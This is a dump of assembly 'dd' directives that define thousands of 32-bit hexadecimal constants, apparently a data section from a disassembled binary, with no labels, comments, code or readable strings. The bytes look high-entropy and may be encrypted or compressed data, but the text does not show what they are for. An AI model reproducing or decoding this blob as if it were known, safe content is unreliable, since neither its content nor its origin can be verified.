dd 5EBF3137h, 53782E22h, 40029ED2h, 44C49EE4h, 93A2D1EFh
dd 1DA39EE2h, 1FADF57Fh, 0EE5D9D1h, 7FF98565h, 0A599221Ah
dd 0B7830F64h, 4190A377h, 3DB89208h, 79F04FD6h, 0A93F509Dh
dd 25361563h, 531A3C39h, 0C528FF19h, 4D72E1F9h, 0D58FFBBCh
dd 49E0DDD9h, 0E0E199C7h, 0AFCB4768h, 0AB44A7ECh, 0A1EC603Fh
dd 2800C62Dh, 8603A1FEh, 0F90C787Fh, 112C75B9h, 9DA5D14h
dd 0BAFC6D06h, 0FBDCA8Ch, 824E7F78h, 1DC9D1FDh, 0F065A1BCh
dd 8B19F97Eh, 5CE6885Ah, 0ED1DCAF4h, 8E45608Ch, 5D65B969h
dd 0C35CA597h, 625340EAh, 25872D2Ch, 47B603BEh, 336AE5A4h
dd 8F1DF8EDh, 1D7FF80Ch, 0D6DB52B3h, 5BA3D870h, 3305F471h
dd 1E1232C4h, 8017080Eh, 779C24BBh, 625C94C9h, 0ACBACA9Dh
dd 0FD3330A3h, 0C750358Eh, 0D883C46Dh, 0BB315E39h, 587B499Ah
dd 9ED69444h, 0C3CE8157h, 0E6F43732h, 8D91DA96h, 3FB60C49h
dd 0B654C3D9h, 58990648h, 2EFAC287h, 2A55BF9Dh, 9BC778A3h
dd 0F1E4441Eh, 81D7022Ah, 0B68A4F9Eh, 3A3A3A80h, 944D3125h
dd 11A437E8h, 2EA975ECh, 351E6E08h, 9B2A3E40h, 0F9A0B0C8h
dd 7C5F2D93h, 8E0897EDh, 0BF5B525h, 79853749h, 0BE42655Bh
dd 76D063D5h, 2DB2DA92h, 0A9D27645h, 47912AF0h, 73EDB986h
dd 19D74318h, 0DD954621h, 92829053h, 1A6F5986h, 7A5818A7h
dd 331ABEB4h, 0A7763055h, 24EEA27Fh, 5BF5EA2Fh, 86D6622Dh
dd 7533CC2Ah, 2684A9BDh, 0C08F6082h, 0E64B166h, 0C2DD692Ch
dd 0AFE743C2h, 838D279Fh, 1739B35Bh, 0D0D17E2Bh, 3E02E5F5h
dd 214B2781h, 8E0AB1Fh, 0E7CEEDABh, 4C7E8D0Bh, 85E30CE8h
dd 9EB49ACCh, 0BF6973B8h, 0C027941Bh, 0BA4B816Ah, 717BFC31h
dd 0CF859B6Dh, 99E0F531h, 0BBB4B45h, 90DC9DECh, 0E3486C25h
dd 0CE635232h, 3512015Bh, 0AAAF3BB3h, 9331C5A4h, 2A61ADD2h
dd 33E3B6Dh, 560DEEAAh, 8260EC9Eh, 0AE5A6688h, 0D32F720Dh
dd 0D0A29DEDh, 0E330B55h, 36953E56h, 0E2960426h, 666257CEh
dd 0CC815E3Ah, 29D07965h, 8BD5D69Ch, 55917033h, 0B0970AEBh
dd 9472213Fh, 16EC9110h, 0FF63E55Bh, 9E5B79C4h, 345C0536h
dd 0D7E99A61h, 0E906A107h, 15CC60DDh, 0C62413E4h, 8312AB34h
dd 18992578h, 0E8EFD9C9h, 0F3B45E33h, 33A19936h, 3B7212E4h
dd 0DB6616B0h, 4AD087B5h, 0CEEB8A7Dh, 0ADB7F6F7h, 0DBCDA0Fh
dd 3BD1C811h, 4CAE852h, 0AE97EF96h, 0EB4682A7h, 0B24C5904h
dd 6DF3B4BBh, 3EA108C8h, 0B5BDC2CEh, 0CBF21F4Fh, 3CF15E0Ch
dd 59340F47h, 5A876B1Eh, 8163BC53h, 4ACF8700h, 0FDE9C259h
dd 96A61965h, 5D6C5262h, 35788432h, 4879DFC9h, 2D6B6CE8h
dd 0EF101F8h, 895EF5ABh, 72EEB007h, 0D8A09C99h, 0F2885C13h
dd 3A697C57h, 0B49A88CFh, 3785EAE7h, 0F0204238h, 5B85079h
dd 94AAB8F7h, 0CDB90128h, 0E10FC01Bh, 0D5E07A1h, 95B7CC94h
dd 9F88FC05h, 0D645049Dh, 0B21236FBh, 78F30E40h, 0EF29B419h
dd 53445B68h, 71E744FAh, 0F7DEBB1Eh, 0AF8EBBAh, 8B71CE0Ah
dd 0DE881485h, 4B7E86B4h, 0EDF9ECCh, 0BC82F794h, 0DE216F66h
dd 7708CD99h, 1099A18Bh, 0C78BED2Fh, 0CEEFE41Ch, 0E3E954B8h
dd 1A563924h, 0DEE3542Bh, 68962FB9h, 0F05AC0E5h, 0DEC9841Eh
dd 92272E04h, 92EDF9F9h, 5C1B8377h, 0C366F377h, 9CC28902h
dd 7550A420h, 493E56BFh, 24FD5225h, 927755EBh, 55ABC3B2h
dd 0AC3EA02Ch, 0CC37B4D3h, 8EE8EC85h, 0C9C19998h, 8AD46DB5h
dd 0BE3B8E19h, 6790FE18h, 602A5C45h, 0EBFD314Fh, 9F526F80h
dd 245DA959h, 22231CBFh, 99A8934Bh, 1DCBBC48h, 95AAF32Ah
dd 17131342h, 0A5557B6Fh, 27214880h, 742E662Bh, 6BD8C9D9h
dd 33A8AEE2h, 21B888E3h, 53F616E5h, 0B5808A1Ch, 3532C53Eh
dd 0E75B7EC0h, 0A43322CEh, 0C50B84FDh, 7DD7AEC5h, 0BACCDC4Ah
dd 0B45C2810h, 538B1EF8h, 35691E78h, 0D9C80C83h, 0DFBE4C68h
dd 7EC2C5D9h, 1F772C12h, 0CB077C8h, 1E42CCF0h, 0DA2E5A32h
dd 5ADD2A34h, 32A54CEAh, 0D38B91C3h, 10739045h, 0D261B195h
dd 3D6D1696h, 98DF14A8h, 0F5F2AFBFh, 8B3B7C11h, 0BE3D1D53h
dd 0F8D72A62h, 20D36B1Eh, 38B45DDFh, 1FD3CB5h, 15DFDBBFh
dd 12D942A9h, 0F1C81868h, 0AC55F62Dh, 6F71E43Dh, 3F4C21D8h
dd 3FE8DFD4h, 26854FCh, 0ED30FAC9h, 0D6FC43D5h, 7BC7E646h
dd 27EDCA0Ch, 4EC2EEC8h, 70A898F0h, 0E296F6Ch, 0AD184947h
dd 90BEFFBCh, 0CE0616D6h, 0C80E948Eh, 0E17F5774h, 70B4E9DEh
dd 4A2C8920h, 32D5F0ECh, 0D22CCACBh, 2E543453h, 9743719Fh
dd 0C33962E6h, 0FE2B73D5h, 8967D08Dh, 738AB5EDh, 83F895C6h
dd 45D93107h, 2AD0F9Ah, 0BA00F80Dh, 0C07D7CBCh, 10679FA9h
dd 0F062A788h, 3E377852h
dd 0C54861B0h, 7BD5C4CCh, 0EA9444CCh, 31AA8AE3h, 6594A156h
dd 6295201Ch, 0ACC69C43h, 0D6BC79AEh, 0AB7FDD6Fh, 1212A7D6h
dd 94AD6F9Dh, 7D90AB92h, 66EF1821h, 4949602Ch, 67660A32h
dd 0F7FB938Fh, 0F3C09060h, 88306415h, 7D9006B3h, 6BED6771h
dd 0E7DB2140h, 23E55E7Fh, 645EFDD6h, 0BDB65326h, 6E714164h
dd 40D95F97h, 0E56756EEh, 2217224Bh, 0D2B8930Bh, 8C5CF64Ah
dd 0F45B943Fh, 2959DD91h, 81D43CCDh, 4416629Ch, 9ACA6B4Bh
dd 9DD1D3FBh, 0C933C08Ch, 0DDF0EAFBh, 0E4EFEB57h, 42DB34FBh
dd 0C2D56A58h, 954F95E3h, 2AA48F46h, 7EECD5EEh, 6653CD83h
dd 2B883308h, 2485B9C9h, 4B3F72C1h, 0A4EFC456h, 434C896Bh
dd 8F592E3h, 1460FF27h, 478895F3h, 71DDDE6h, 2603C28Bh
dd 4E2AD4ECh, 5E5B8F64h, 72EF5B28h, 3AB7FC88h, 0FEDD6C78h
dd 0A3E3AE91h, 6209B3D9h, 0C3A6E5C8h, 0A2318893h, 15AE4301h
dd 445C21A6h, 418A698Fh, 10136FFFh, 5BF6434h, 22CF2049h
dd 6A4A6CE4h, 0A57C875Eh, 0B61082D2h, 9C0428A4h, 0B8717DBEh
dd 862364E3h, 8352D5EBh, 0F8D26B67h, 0AD938A62h, 5AB69951h
dd 7B0F5021h, 5AA5D0E1h, 0E270EB0Ah, 34ABB254h, 0A47F11Ah
dd 7DB6E54Ch, 0EAF4B67Ch, 5A9B8751h, 0C0CC83DCh, 607527CEh
dd 1784E308h, 194088C3h, 0D34B7BFDh, 6E48AFF7h, 4F2D0272h
dd 89C43417h, 73002BB0h, 0A52743CDh, 0C5E8D718h, 39DD8445h
dd 400C761Dh, 3FAF25DEh, 0A2437505h, 48B1C350h, 0A5D4B147h
dd 0DCE6AF09h, 82247E38h, 0DAEDE193h, 0F8723175h, 57F0458Ch
dd 0A8522808h, 76B08BB4h, 187DA445h, 593BC07Bh, 0AA43473Ch
dd 93B2253Bh, 21D56D6Dh, 0C718EA25h, 0E06C5D39h, 450BB367h
dd 0C049C4E8h, 9FFAD64Fh, 0AE916D1Bh, 4DE1488Bh, 89605144h
dd 0D6DF95EBh, 47E0657Fh, 14586114h, 0D45C4536h, 0AB7B93B7h
dd 21EB0438h, 33AE0197h, 970A43DBh, 4FDB5E2Ch, 21AC7F1Eh
dd 0C925F22Bh, 0BDC713Dh, 0E6C7C9E6h, 0C0BCBFCAh, 0B8849131h
dd 5CB7B006h, 927B3F8h, 0B571E72Bh, 0C3705A2Fh, 13CAB28Bh
dd 4B6A8827h, 97D5E781h, 0E21ED0C3h, 810E8BCFh, 689573DAh
dd 0E2569D5Fh, 32AB2D9Eh, 78C6C8Ch, 3B5D235Ah, 3F7DDB30h
dd 0B8BA720Bh, 0A004E3F4h, 3651A838h, 25FF2999h, 0FD7EBD60h
dd 7452FC38h, 0FB7083Ah, 0D9F06891h, 77512772h, 7336DA4Ah
dd 75B1BC5Ah, 0BF4629C8h, 4E396F2Eh, 6A70B908h, 6DE0FB4Fh
dd 810AEF91h, 9016DEE3h, 0B9FEB2A9h, 0AF1A1798h, 0CEEAFB5Ah
dd 1511FB01h, 720289FAh, 31B79302h, 85AC8C52h, 212DD0Dh
dd 0A2F65DF1h, 0BE53E532h, 0EDE55F08h, 0D92922D7h, 14527FD6h
dd 2DA3D919h, 0AFF85785h, 0FBEA0841h, 0D0F51429h, 8EB55766h
dd 20A1574Fh, 41411579h, 0E459D1EBh, 0C4AE5D7Bh, 203A3494h
dd 0A68AE911h, 0AEF1CF3Ah, 633F0EF3h, 0C9F55C96h, 0F56E1EADh
dd 231A63BAh, 728A72BEh, 9FB17F1Ah, 53640AA4h, 0E6D318A7h
dd 9007E3B0h, 0E485EA0Ah, 954AF423h, 0D4BB5F0Fh, 0D35F20DCh
dd 820622CCh, 813FA5CEh, 56B4BE37h, 97E951F4h, 6099FABh
dd 0E5E6CCDBh, 0C9C2A6E6h, 61F54E84h, 3228AFB4h, 0DCC09689h
dd 44E61465h, 6262CD83h, 7B51CFB2h, 1F8610FBh, 452AC747h
dd 4CB837FDh, 0BE87ADA6h, 0E575CA5Bh, 1CC6AE89h, 0BFBF1716h
dd 7F9BC81Eh, 0A20E710Dh, 76AFDB61h, 0DD1B69ABh, 3CD759ABh
dd 128C535h, 0AA280F1Fh, 0A347ADA9h, 0BFFDC568h, 1FB32E2Eh
dd 0E358CD25h, 95628DE0h, 0E2EF649h, 59AEF68Dh, 0A9FF6B49h
dd 0BA354444h, 0FB41EF90h, 0B1054791h, 58A73F9Eh, 49952D70h
dd 0EC6ADDF0h, 0A5D49673h, 0B6ABCE78h, 73BF5711h, 6E6C780Ch
dd 0B9E2A008h, 9A2F010h, 0CCFD9539h, 3116CCA2h, 8B815263h
dd 0FA4A38A4h, 2F7B5DEDh, 3D9846DCh, 496EF290h, 6A09DABh
dd 18E08B90h, 0FF9B53E7h, 6FEBC8D1h, 7ACA2EE6h, 0D42ECE02h
dd 0DEBB15Dh, 93B27995h, 0CB793A0Dh, 0A7B3DBE2h, 0BB28DCE3h
dd 3C775241h, 5407FDBDh, 0AE9BCFDDh, 0B68219D1h, 0AD03AEF2h
dd 0B2829873h, 6C6F5A69h, 7B5EB748h, 0C622B870h, 0C8EC3671h
dd 8371E8C4h, 0B868A5B2h, 4C2D640Bh, 597EEC69h, 42A51D62h
dd 97BB6CA9h, 0BE4ECD6Bh, 7D1F9634h, 85CD5749h, 519334FEh
dd 0A277190Ch, 0A8DB9091h, 2EFE2AD2h, 0F4773931h, 9BFB9A19h
dd 0A19E0597h, 0D10C7898h, 36824E2h, 0B50E108h, 0F34107AAh
dd 4A8D4EBDh, 2F16E163h, 0DAEDE208h, 0D0D590FCh, 0E547AF4Fh
dd 4223E4ECh, 0C5091CB3h, 0D8BDD015h, 93BF4FCh, 0D6119F6h
dd 49D71953h, 0B2FB755Ch, 0C0390E60h, 3784D988h, 80312252h
dd 94598A7Bh, 92CD4017h, 1EE33932h, 0E5536EF5h, 0C45EC176h
dd 6777B02Ch, 7F664AF3h, 22BD3DC0h, 62469885h, 0E7EEBDF0h
dd 142EC75h, 0A83C9CA0h, 0F016E25Bh, 7A26512Eh, 654663FDh
dd 0C1C289CCh, 6D6FA8A0h, 84E9CF6Bh, 8ACAC711h, 84FAC38Eh
dd 0A9C57505h, 8F4304B8h, 3BDE9FCAh, 2A0E5F11h, 65721C90h
dd 0E0BF162Bh, 78E87C42h, 8F52A50Fh, 8D43744Bh, 642C6757h
dd 0F00F6FCDh, 1D991EFAh, 0B6911BD3h, 8A69D2D5h, 7F0D57EFh
dd 7ABA0B43h, 6384F390h, 0A43292Ah, 25A188C6h, 0FDBD8756h
dd 0A854BC17h, 860C09D2h, 831A7F90h, 36AE7762h, 1F874D86h
dd 421A8291h, 0C3662C3Bh, 59963C8Fh, 1DF6F4C6h, 989D4B4h
dd 0BCBF6FE0h, 0ED3FDFE8h, 41970B2Ah, 0FA50FD15h, 4B811D2Ch
dd 93AF352Ah, 9D3AEF3Fh, 0EFA43C93h, 3CC4FF2h, 3DF92634h
dd 2651602Bh, 7E77D2F2h, 0F9D4F348h, 2243854Dh, 0D25DC5E1h
dd 0F0CA6A1Eh, 694C7352h, 748836EBh, 6C8B2C11h, 7023CF93h
dd 0D9565905h, 0D4C33C96h, 6AD01395h, 0F1D1E133h, 0CD67373h
dd 2F8DF472h, 43871A05h, 0A7A4E98Ah, 232E3970h, 45D711C2h
dd 0B0667F2Ah, 9B881669h, 0A3CF7964h, 63ECC506h, 7264F4ACh
dd 0D9D2D2D9h, 0DF6FD9A7h, 0B5CC0291h, 0FD6D48C2h, 7E7FB3EBh
dd 4AF4EBF3h, 213C4056h, 7497C044h, 29DDE151h, 0AFF1F6DDh
dd 255E5726h, 0B60AAA42h, 0D39D281Ch, 91039167h, 0A60B84DEh
dd 4EDC67F5h, 57B4F122h, 0A0FE4C3Ch, 0EF5C993Ah, 0EA84AB04h
dd 72CDB48Ch, 0C4E63CE2h, 5C6AAF5Bh, 195D3683h, 4748071h
dd 0F43EF243h, 0C8F182A3h, 0D34A6B59h, 8496A2DDh, 0B5E653D7h
dd 0CEBD7BFDh, 8646C6D4h, 730F5296h, 4C8D650Eh, 0A8D63850h
dd 2B3C5F60h, 7DECC10h, 0EA7FB553h, 0F710B2D2h, 8C175236h
dd 9897461h, 6177555Ah, 0CF11E54h, 8CCEBE8Dh, 5DC198BBh
dd 14D2610h, 6425F4F0h, 0ACFA9BBFh, 0B5862A79h, 0BDD47367h
dd 8153739Eh, 0B7BB50E1h, 62855B75h, 0DE8D3B77h, 3BD675BFh
dd 4C4D47E3h, 0BB377169h, 89522AA6h, 0B37ED56h, 0F0C03775h
dd 32B80DDEh, 0F3530A11h, 9D0445D0h, 4389FEE4h, 16674EEAh
dd 0A8CD0BFFh, 21A54E00h, 1FF945EEh, 6DA4268Fh, 6C4E276Dh
dd 2C77CAFBh, 0E2B5C0h, 86B8DDF3h, 0F60A827Ch, 0F0A841B6h
dd 529FA152h, 396F462Fh, 0A53A6F54h, 0EA619FA9h, 6BBE6E8Eh
dd 953AE022h, 500B9027h, 0D76AEDABh, 25F6F223h, 0E8F8662Fh
dd 91CE993Eh, 2FB47E7h, 92844859h, 9EC6AC5Ch, 7117BBACh
dd 9960FCEEh, 9309A31Bh, 0CD0106FBh, 150F789Fh, 0F55428BDh
dd 4820D432h, 23A3EE32h, 523FE430h, 0C18E6F89h, 2A7409Bh
dd 6832C711h, 0C27C0146h, 0C1E54B3Fh, 5D279CC4h, 0DD8704ADh
dd 2010B707h, 0CBD50A86h
dd 0CD9BE60Ah, 0C1B1C99Dh, 98E0161Ah, 8998B46Bh, 0C7541A15h
dd 0AE6A99A6h, 5EA05F56h, 0F7574459h, 5B8F1C23h, 24BAE995h
dd 0AE148601h, 8CB2C3E8h, 23596491h, 0BDB5A363h, 182A65F8h
dd 63297257h, 0AC1CBD95h, 91E2131Dh, 36A1360Eh, 0B48A9013h
dd 9F85515h, 75FBB8B7h, 0D1FAA3D6h, 34B6588Dh, 6353F46h
dd 56759CE3h, 786A55BFh, 8B0A1841h, 0DAF8618Ah, 76F8A92Bh
dd 0B58BA099h, 8CB53B0Dh, 424A0B05h, 1D6EF685h, 0CF47BC9h
dd 1587DBA1h, 24950507h, 311E2953h, 66E90CF0h, 0E8336C9Dh
dd 0B0BBF591h, 9DBD44E8h, 0C1451474h, 2178915Eh, 298DF95Dh
dd 75C39D4Eh, 325A0018h, 205812B7h, 93E7D8CFh, 8F3FE373h
dd 7888D720h, 0BEBC6F66h, 0FC34C918h, 3EE530A3h, 81A371D2h
dd 0ABC33A48h, 64944D20h, 4508E7DFh, 9139899Eh, 42FBE300h
dd 0B37DDFA7h, 3871BD83h, 80609576h, 7748C824h, 9DCB9284h
dd 0C845736Bh, 0B8AF8AD7h, 0DD69284h, 2E34B9D5h, 0FFE289B3h
dd 4B6F1D2Ah, 7136DEEFh, 0A7A6DE26h, 961DEAC8h, 8C171E0Fh
dd 0B211454Ah, 11101274h, 93FC7DCh, 758D46E4h, 48DA8143h
dd 0F6D5DDF3h, 2EA180BDh, 0B460489Eh, 0F9144BDEh, 0C47A0338h
dd 0EEA26295h, 0A6F6A401h, 12B49AABh, 8D30C78Fh, 6424F9A8h
dd 188752C1h, 6B1AF414h, 0FEB44AE3h, 5FDBB97Eh, 0CE6BC269h
dd 0A7A66FAh, 0EFC00AA5h, 828BA887h, 0E592F204h, 4CC3AC54h
dd 0A90A4248h, 1B876530h, 0E139CC39h, 0C6BF7F58h, 0E14E63FEh
dd 0CC6EBE0Ch, 0A90172C2h, 0BB2BC98Ch, 95617FA7h, 3EE5A12Ah
dd 9B1C189Dh, 30DDB0C9h, 7B455587h, 0C7D1008h, 0CDFCDB0Ch
dd 62D1D1D4h, 9D957B90h, 0F784A816h, 1A495214h, 0FED3517Bh
dd 1EF475D2h, 0CCD57408h, 3A9AAF0h, 0C31FEA86h, 627D477Dh
dd 90ADCA0Fh, 5C08D15Dh, 0FB6BC49Ah, 9E6228D6h, 0FEAD03CBh
dd 82C1DF7Ah, 50333AA7h, 0DD592FD1h, 9CD79948h, 30064F68h
dd 488D83D1h, 9FB2CF0Fh, 3AD51AC2h, 0F15A5910h, 93D31FE2h
dd 4781EBB6h, 80BCCAF8h, 0BD0DB380h, 86CCE534h, 48DA61D9h
dd 0C0739BE8h, 3DF36396h, 0DE2ECE0Eh, 0DE1AD557h, 0AEA2C040h
dd 0A6721B63h, 0D2B75DF4h, 0A220A76Ah, 94223014h, 52A35178h
dd 0F8CE289Eh, 0D24D62EFh, 0ADDFCA45h, 3D6C4FDDh, 11336CA6h
dd 642A5997h, 0A7AF1F16h, 672CBC21h, 8CD835CEh, 39625F51h
dd 8AA91CA9h, 76B283CAh, 888B322Fh, 8E1C139Fh, 0C2650E0Bh
dd 0D27DAE0Ch, 8B9D54D1h, 0FF2AE7B0h, 0C86A9B1Eh, 7065C35h
dd 4547B8ABh, 8DE7139Dh, 41768587h, 8DF9E5Dh, 0A3D66577h
dd 854A2748h, 6B3DFB51h, 0F5160A8Ch, 20A30E75h, 13245D6Ch
dd 6661E133h, 0AFDBCE4h, 77151CBCh, 0DD0BA5A1h, 0AEC3DB80h
dd 1A792EC5h, 0F08A65BDh, 0C089389Ah, 57D946D5h, 823586EBh
dd 5061B34Fh, 0A22035DCh, 5445F126h, 1A075A3Eh, 0ADD7DB3Dh
dd 0F5EF7D45h, 9FF5F5B9h, 7E3C0C98h, 19235907h, 0F209E4D8h
dd 46ABFC30h, 1FDC821Eh, 0F44D69E5h, 0BC764AE4h, 5DFCF2BCh
dd 0DEE953h, 358AB6F5h, 0FF921E7Ah, 6C8BE8D7h, 8B059306h
dd 85AC1718h, 0BC923F34h, 0D9B6976Dh, 0D795EC41h, 13644AE2h
dd 745B6771h, 0D4B2A4FDh, 4D8D2356h, 0DF28F7DFh, 0D78C083Ch
dd 2CDECB8Ah, 40837C45h, 198355A4h, 0D44C1F8h, 0C0408B0Eh
dd 0FA031ED9h, 9920A6ECh, 65DE40D2h, 14A60B09h, 0A5DD8129h
dd 44DAA3AEh, 7FE0BB18h, 6340E1D3h, 189ED624h, 9B7A275Ch
dd 21510666h, 0C742BD14h, 0BDA41787h, 9FC96BFFh, 4B07D228h
dd 1B797C8h, 8D772EBEh, 37FE5320h, 8CEA7232h, 31B3B4A7h
dd 0D9F92DCh, 5E4812Ah, 7EB9EC5Bh, 45AED7E2h, 9E791BAFh
dd 0EB159C8Fh, 791D506Ch, 0D6822B6Ch, 24E6075Ch, 2F825048h
dd 727D62CFh, 7ECF557Ch, 5A54D357h, 0AFE6B820h, 722683EAh
dd 1D637CBFh, 0F5D958Ch, 0E7B9F8A7h, 0AABF8D7Ch, 1717FA57h
dd 7190360Bh, 4FF92A0Bh, 0A6ECF33Ch, 9B3BA94h, 30ADDC18h
dd 92D2ADB9h, 3CE9D9EEh, 702F691Ch, 0C2731967h, 723FCAD9h
dd 88A294F3h, 0C9289C26h, 99B547E3h, 0F6BDBB7Ch, 0BD1E9AE7h
dd 2655579h, 9DB5CD6Ah, 0B52A8C89h, 0CB93E5BCh, 88D19DD3h
dd 0FEE857C9h, 41844300h, 1FB14783h, 47BE992Eh, 0F59830D5h
dd 136A6D65h, 79523B34h, 0E6DE3E26h, 69A6B4DFh, 7F47447Bh
dd 11DFF20Bh, 0EDC8CCC1h, 8872ABA7h, 6BA8FCDFh, 0FB6C3958h
dd 0B42C3261h, 0B9CFB2C7h, 0FE5E20A7h, 0DE031764h, 89F87249h
dd 68725BF6h, 3B1FF59Fh, 13B85D94h, 7A472A7Ah, 96CC2B3Bh
dd 73C16EB1h, 0A5B13BC7h, 0BCE06231h, 0DAD61219h, 532032C0h
dd 803A6BDFh, 94E5F4FAh, 0DF734A0Bh, 0AAE313F3h, 6A175B3Ch
dd 0CFDE3B83h, 0DA0B4701h, 72B821F6h, 6119CB2Dh, 0ECBF37A5h
dd 801490F4h, 2D8718F8h, 5ADE8F72h, 6BA58C52h, 8FE9FE7Eh
dd 0B3811901h, 72F9D0DFh, 0A3941A8Dh, 824A401Bh, 10AE2DEEh
dd 8DA0B117h, 3FB00228h, 9D19CDCCh, 0F0F155DFh, 0ABE31F2Dh
dd 44DD1F2Bh, 4C44B996h, 0A2F5E581h, 0F066A42Ch, 0E4E90DD1h
dd 75878390h, 2A9BE9B5h, 6BF6CFEFh, 0A1B9F13Bh, 50F44871h
dd 4366DBDEh, 1BFC00C1h, 670B2BEAh, 0A5D97029h, 0D4BC298h
dd 2549A76Eh, 0D250F638h, 0A8666BE6h, 2AEDABCDh, 0AEC4AFA3h
dd 0A8057B3Dh, 84E50333h, 30E47213h, 25DBBBD5h, 64993E4Eh
dd 3A7F0BCBh, 0F02E4DC2h, 0DF624F59h, 0E0C8D8EFh, 0FAB669B1h
dd 33C594F9h, 4988887Eh, 40EACC70h, 72F3C6B4h, 0F87AB629h
dd 0E8A24968h, 1290389Ch, 0EB969854h, 607BFC66h, 0A9D76E08h
dd 3F2F6C97h, 0CDC53853h, 6E6031F3h, 0FF787E04h, 0EBFEAFE5h
dd 7722BA2Dh, 0ECB3DF34h, 8805C04Ch, 0FD80D926h, 433E7CD5h
dd 4E7AD52Fh, 6B8BD080h, 3A892906h, 0BE3537DBh, 7E4EAA15h
dd 87DE1916h, 8F50B4CBh, 29E0D58Dh, 78506D58h, 79AB8A92h
dd 0D8E22CABh, 0B423CAC6h, 102EDDEEh, 0A5EAE24Eh, 41DD38CBh
dd 66CEF79Eh, 44EA11B8h, 9DB64997h, 6A7CB9F7h, 7EB2A307h
dd 3AB884AFh, 0E2D65748h, 0E4D69314h, 14D20C6Ah, 0BEEC3445h
dd 0EDE3B99Eh, 2002BD15h, 4FFC67FAh, 0AAF2D8A5h, 0F4606A60h
dd 0A0EB1476h, 25EEF9A0h, 66B218Fh, 9FD5E8A7h, 51FD8255h
dd 0F03D8D5Ch, 0B7B6CFA1h, 9D70EFB6h, 2F885DEBh, 6FF4122Eh
dd 0B104885Bh, 0EA2809D7h, 0C6A62A8Fh, 0B94913A1h, 888DA1C7h
dd 8D988737h, 0F5F251D7h, 52B293EFh, 60DC7EB3h, 8EEAE48Bh
dd 0FB1150EFh, 0A647DD82h, 0C8CFD82Eh, 6EF77320h, 3C00C623h
dd 0D08D215Fh, 333BFD10h, 0BF2D6347h, 0D23A64ECh, 0B1CD3234h
dd 0EECA6176h, 233DC1C5h, 2B5BC221h, 77952324h, 0B0CC26CCh
dd 9A4E0182h, 2AD54613h, 77A2FBDh, 814126C5h, 10917D17h
dd 79039873h, 1B879806h, 0EB02F957h, 22FD3285h, 1318B5D8h
dd 0DB59FC6Ch, 19187C0Eh, 19BA088Fh, 40602F7Ah, 9F02E135h
dd 36A102Eh, 22C4214Eh, 4F609FECh, 0AB4C396Eh, 0B9D88FDh
dd 7620BA38h, 9C5A6EC4h, 3F0F2F6Ah, 5FF9E71Fh, 0C56C0311h
dd 0CA7BF3F5h, 47085BAFh, 0C70B75E0h, 9FA88FFDh, 2457C1ABh
dd 0B40B8040h, 0D103327Bh, 27EDB893h, 97D62140h, 8A00A017h
dd 7828AA74h, 618713B4h, 79B4C65Fh, 0E5F81203h, 0D3E08835h
dd 6A94E7E4h, 4E030B9Fh, 0BA6F8DB5h, 3FB1D65Ah, 0D34AF90h
dd 0B6945659h, 3E0D2FECh, 0FEF1DEB1h, 62EB9F7h, 0F54A5E85h
dd 13A6E8A2h, 0B95DED55h
dd 82C1106Eh, 1DF39044h, 6FA1EDD4h, 0AA31A761h, 104C8C4Dh
dd 715AF388h, 0A134308Bh, 0E9F422Eh, 8076D6Eh, 4DEF1F17h
dd 4774DAD1h, 0C2603A09h, 4C63EF4Bh, 0DF967984h, 36D1A330h
dd 0FBFFD8A8h, 4A79132Bh, 7E5C3D77h, 5DA35433h, 2D830FA3h
dd 99ED1127h, 0DAE1B77Eh, 79741226h, 7FC9C84Eh, 0CBD0B4CEh
dd 0F4A5EA0Fh, 0E5AEE6ACh, 5E934F47h, 1AAE970Dh, 3345C686h
dd 733ABAB0h, 0E5271C95h, 77B22BA6h, 3D373DD2h, 0E256C0EBh
dd 0D72F5024h, 0E9B2517Bh, 84684536h, 0F716D874h, 3FBDF900h
dd 0CD6BE349h, 8E25D545h, 0E9C81E9Bh, 0BC811524h, 940A3CAAh
dd 0A5B1F4A2h, 415B1CF2h, 0E3880F7Ah, 0A0B47F53h, 59B2CA4Eh
dd 0ECF959C1h, 0B6CD5783h, 75E71AE3h, 0E35AE503h, 15436E6Fh
dd 412C991Dh, 12363076h, 50FE71EBh, 807807B1h, 75A9F79Eh
dd 0CC7BFE66h, 50670C5Bh, 0FE277E56h, 87A66BB4h, 202C9693h
dd 1E7F870Fh, 0E20544BCh, 0ED75B69h, 0F1048182h, 0A5281F8Fh
dd 0B90045FCh, 0BBCE928Ah, 8B749E13h, 0DC8C83D8h, 7031FECh
dd 0E84765D5h, 6C9E581Ah, 8334ECEh, 4FBAD397h, 589B53B6h
dd 0AA16AA8Dh, 0C0BED05Ah, 136BF3CCh, 2AED67FDh, 93C3F305h
dd 85924434h, 0E2C0BD27h, 3702B84Ch, 0CE01EBB9h, 0F1907477h
dd 0C73D937h, 78EF5A0Ch, 0DD56EC70h, 1E6E9AD2h, 0D81ACE35h
dd 31AA8667h, 66058B1Dh, 2F446CC4h, 873E9CEDh, 27F1B084h
dd 0A38D3A53h, 8088BA61h, 0D67B75C3h, 0C5572E3Dh, 0A45DE0ABh
dd 0E65C81A7h, 0CE41C166h, 0A0E21615h, 0D070B2B5h, 73E0F2D9h
dd 84FD80EEh, 50AE1DB4h, 8FE7069h, 48C4AE6Eh, 0A508B183h
dd 0DFDABA48h, 8E77CBF3h, 0BD1E7032h, 0F3E1DBFAh, 65D3964h
dd 2DFAC785h, 824D646Eh, 9FF7B8C9h, 572384D0h, 0FF1DB64Ah
dd 0B17C1FB2h, 92D818B9h, 17715D11h, 7785245Ah, 0BCEF2AF2h
dd 5FA0F0FAh, 0A148C886h, 26589B2Ah, 24366C62h, 1130CAA8h
dd 4F8B2EA0h, 8BBA7B51h, 0E478B557h, 0DED305AAh, 2F3EEC8Ah
dd 0DFA8472Bh, 23431A8Ah, 17C233B4h, 6A47A063h, 0A4F1621Eh
dd 68B8606Eh, 17E6A162h, 320B875Bh, 0E35C98CDh, 5E93A889h
dd 43DC899Ch, 283A7F18h, 9CF78F4Ah, 0BC509385h, 0A9EEB78h
dd 0A1E5D916h, 4DA3B84Fh, 0A3F70C7h, 0CA159402h, 3BD9A2C8h
dd 0DF1C5F9Bh, 7F91FC50h, 9E861DE1h, 0F29E9A20h, 7000BA2Bh
dd 0BA4432Ch, 0DA27E227h, 0F71961C4h, 0A42ADDCDh, 3020AD8Bh
dd 8B26E55Bh, 0A0B7F810h, 2C22A9C6h, 0AF2AEFB0h, 0E1FBB455h
dd 87CEACCAh, 0BBC8999Eh, 30F3B0B2h, 1D06F222h, 0DA5EDCA9h
dd 0AB6966C3h, 32EC2A17h, 733BEC04h, 4CEDF1D5h, 0AB319B2Fh
dd 2C7308D6h, 7F8C0897h, 149C5515h, 0B46F13D5h, 3CD45246h
